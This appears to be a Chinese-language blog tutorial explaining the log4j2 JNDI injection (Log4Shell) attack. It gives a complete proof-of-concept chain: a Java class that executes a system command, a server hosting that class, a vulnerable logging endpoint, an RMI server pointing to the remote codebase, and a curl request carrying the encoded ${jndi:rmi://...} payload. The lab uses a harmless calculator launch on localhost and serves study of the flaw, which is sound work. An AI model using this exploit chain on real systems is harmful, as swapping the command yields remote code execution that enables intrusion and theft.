log4j2+jndi注入远程类攻击原理
Published on: | Views: 141原理
log4j2在版本2.x-2.15范围内,启用了jndi查找操作,提供了注入点 将jndi指向自己的rmi或者ldap服务器,指定动态加载自己的类,即可实现攻击。
环境
ubuntu 18.04 jdk1.8_121 log4j2 2.11.1
模拟攻击类
简单打开一个计算器
public class AttackClass implements ObjectFactory {
public AttackClass() {
System.out.println("----AttackClass----constructor");
try {
Process process = Runtime.getRuntime().exec("gnome-calculator");
process.waitFor();
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
注意为了方便这个类没有包名,编译一下:
javac AttackClass.java
生成AttackClass.class
攻击类下载服务
创建一个spring boot程序,修改端口为8888, 将AttackClass.class放到resource/static/目录下面 这样就可以通过http://localhost:8888/AttackClass.class 直接下载到类文件了。
在这个服务里也简单提供一个攻击入口: 引入log4j2的包: compile('org.apache.logging.log4j:log4j-slf4j-impl:2.11.0') 增加测试入口:
@GetMapping("/test1")
public String test1(String username) {
log.error("{}", username);
return "";
}
因为jdk版本为1.8_121,所以需要增加服务启动参数:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
rmi 服务端
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("RMI启动,监听:1099 端口");
Reference reference = new Reference("AttackClass", "AttackClass", "http://localhost:8888/");
registry.bind("hello", new ReferenceWrapper(reference));
Thread.currentThread().join();
}
}
注意上面的路径问题,意思是在http://localhost:8888/目录下搜索AttackClass类
测试
构造攻击参数: ${jndi:rmi://localhost:1099/hello} urlencode之后请求接口,触发log4j的日志
curl http://localhost:8888/test1?username=%24%7Bjndi%3Armi%3A%2F%2F192.168.1.26%3A1099%2Fhello%7D